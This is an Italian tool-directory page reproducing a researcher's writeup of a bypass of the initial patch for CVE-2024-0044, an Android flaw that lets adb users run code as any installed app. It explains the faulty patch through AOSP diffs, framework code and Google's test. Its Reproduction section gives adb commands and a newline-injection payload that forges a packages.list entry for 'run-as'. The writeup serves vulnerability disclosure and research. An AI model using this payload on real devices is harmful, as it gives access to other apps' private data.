Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-0044 — RunAsAnyone: PoC e writeup per aggirare la patch iniziale di CVE-2024-0044, vulnerabilità Android run-as di qualsiasi app che consente l'escalation dei privilegi da adb all'app installata | Kitploit
Strumenti/GitHubGitHub/canyie/cve-2024-0044
Sicurezza AndroidEscalation di PrivilegiAnalisi delle VulnerabilitàExploitSicurezza MobilePaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubcanyie/cve-2024-0044

CVE-2024-0044

RunAsAnyone: PoC e writeup per aggirare la patch iniziale di CVE-2024-0044, vulnerabilità Android run-as di qualsiasi app che consente l'escalation dei privilegi da adb all'app installata

Vedi Repository
180291 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-0044/A-307532206 è una vulnerabilità ad alta gravità nel framework Android che consente a un attaccante con accesso adb di eseguire codice arbitrario con l'UID di un'app arbitraria. È stata scoperta originariamente da Tom Hebb di Meta Red Team X. Puoi trovare molti articoli su Internet che spiegano come sfruttare questa vulnerabilità, come questo e questo. Per maggiori informazioni, consulta questo blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

La patch per questa vulnerabilità è inclusa nel bollettino sulla sicurezza Android di marzo 2024, ma ora ho trovato un exploit che bypassa la patch. La nuova patch è inclusa nel bollettino sulla sicurezza Android di ottobre 2024 con lo stesso CVE ID CVE-2024-0044. I dispositivi Android 12-13 con livello di patch di sicurezza precedente al 2024-10-01 sono vulnerabili a questo problema.

Questo repository contiene un PoC minimo riproducibile e un writeup.

Cosa c'è che non va nella patch originale?

La patch ha aggiunto una validazione per il nome del pacchetto installatore passato al PackageManagerService:

root@kitploit:~
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

Puoi vedere che params.installerPackageName viene reimpostato a null se non è un nome di pacchetto Android valido. Tuttavia, alla riga successiva, requestedInstallerPackageName può essere installerPackageName quando params.installerPackageName è null o non valido.

Cos'è installerPackageName?

Diamo un'occhiata al metodo createSessionInternal, dove è stata aggiunta la patch:

root@kitploit:~
    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

Puoi vedere che installerPackageName è un argomento separato che non proviene da param. La patch originale validava params.installerPackageName, ma si è dimenticata di validare installerPackageName.

Riproduzione

Puoi semplicemente usare il codice exploit originale dal blog di Tom Hebb per riprodurla. Questo repository contiene anche un PoC minimo riproducibile. Se vuoi testare il mio PoC, compilalo, carica l'apk generato in /data/local/tmp/poc.apk, quindi esegui il seguente codice con adb shell:

root@kitploit:~
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

sostituisci <victim uid> con l'UID dell'app vittima.

Se vuoi giocare di nuovo, esegui adb uninstall top.canyie.cve_2024_0044 e ripeti il codice qui sopra.

Come è potuto succedere due volte?

Il problema sembra ovvio: come ha fatto a sfuggire a tutti?

Beh, Google ha aggiunto un test per questo problema per assicurarsi che fosse risolto:

root@kitploit:~
            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);

                        // Without fix, 'appPackageName' and 'installerPackageName' does not undergo
                        // internal validation and are set to 'vulnPackageName' which contain '\n'
                        if (vulnerableAppPackageName != null
                                && vulnerableAppPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.appPackageName'");
                        }
                        if (vulnerableInstallerPackageName != null
                                && vulnerableInstallerPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.installerPackageName'");
                        }
                    });

            String errorMessage =
                    "Device is vulnerable to b/307532206 !!"
                            + " packages.list newline injection allows"
                            + " run-as as any app from ADB"
                            + " Due to : Fix is not present for ";
            assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
                    .that(vulnerableFields)
                    .isEmpty();

Il test utilizza l'API pubblica standard PackageInstaller che non consente di personalizzare installerPackageName. Nell'API pubblica, installerPackageName è sempre impostato al nome del pacchetto reale del Context fornito:

root@kitploit:~
    public int createSession(@NonNull SessionParams params) throws IOException {
        try {
            return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
                    mUserId);
        } catch (RuntimeException e) {
            ExceptionUtils.maybeUnwrapIOException(e);
            throw e;
        } catch (RemoteException e) {
            throw e.rethrowFromSystemServer();
        }
    }

Quando il chiamante è un'app di terze parti, installerPackageName è garantito appartenere al chiamante; quando il chiamante è adb, verrà sempre reimpostato a null, quindi questo sembra a posto:

root@kitploit:~
        String requestedInstallerPackageName =
                params.installerPackageName != null ? params.installerPackageName
                        : installerPackageName;
        if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
            params.installFlags |= PackageManager.INSTALL_FROM_ADB;
            // adb installs can override the installingPackageName, but not the
            // initiatingPackageName
            installerPackageName = null;
        } else {
            if (callingUid != Process.SYSTEM_UID) {
                // The supplied installerPackageName must always belong to the calling app.
                mAppOps.checkPackage(callingUid, installerPackageName);
            }
            // Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
            // caller.
            if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
                if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
                        != PackageManager.PERMISSION_GRANTED) {
                    mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
                }
            }
        }

Tuttavia, l'operazione avviene dopo che requestedInstallerPackageName è stato impostato su installerPackageName, quindi il valore originale viene mantenuto.

Ma se eseguono il PoC originale fornito da Tom Hebb invece di scriverne uno proprio, possono notare il problema, poiché il comando pm chiama il metodo createSession sottostante con un installerPackageName personalizzato.

Un'altra domanda: perché nessun altro ha notato il problema mentre il PoC è pubblicamente accessibile?

Beh, questa vulnerabilità è stata analizzata, riprodotta e sfruttata da molte persone su Internet, e c'è un articolo scritto da Qidan He (flanker) del JD Dawn Security Lab (questo è un articolo molto interessante su CVE-2024-31317, tra l'altro) che dice "其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp" ("CVE-2024-0044 è stata ampiamente analizzata e sfruttata pubblicamente nella comunità tecnica perché è semplice e diretta"), tuttavia nessuno se ne è accorto, come se tutti fossero sotto un incantesimo.

In effetti, qualcuno ha riprodotto con successo l'exploit su build patchate, ma l'autore non sembra rendersi conto di cosa sia successo. Ho trovato il problema con una revisione del codice e l'ho segnalato il 16 maggio 2024, 2 mesi dopo il rilascio della patch originale. Se qualcuno prima di me avesse dedicato qualche secondo in più a osservare attentamente la patch, o semplicemente avesse provato a eseguire il PoC su build patchate per vedere se il problema era effettivamente risolto, la bug bounty sarebbe stata sua. Questo suona come un testo di una canzone cinese, “再多看一眼就会爆炸”("Un altro sguardo e esploderà").

Scarica lo strumento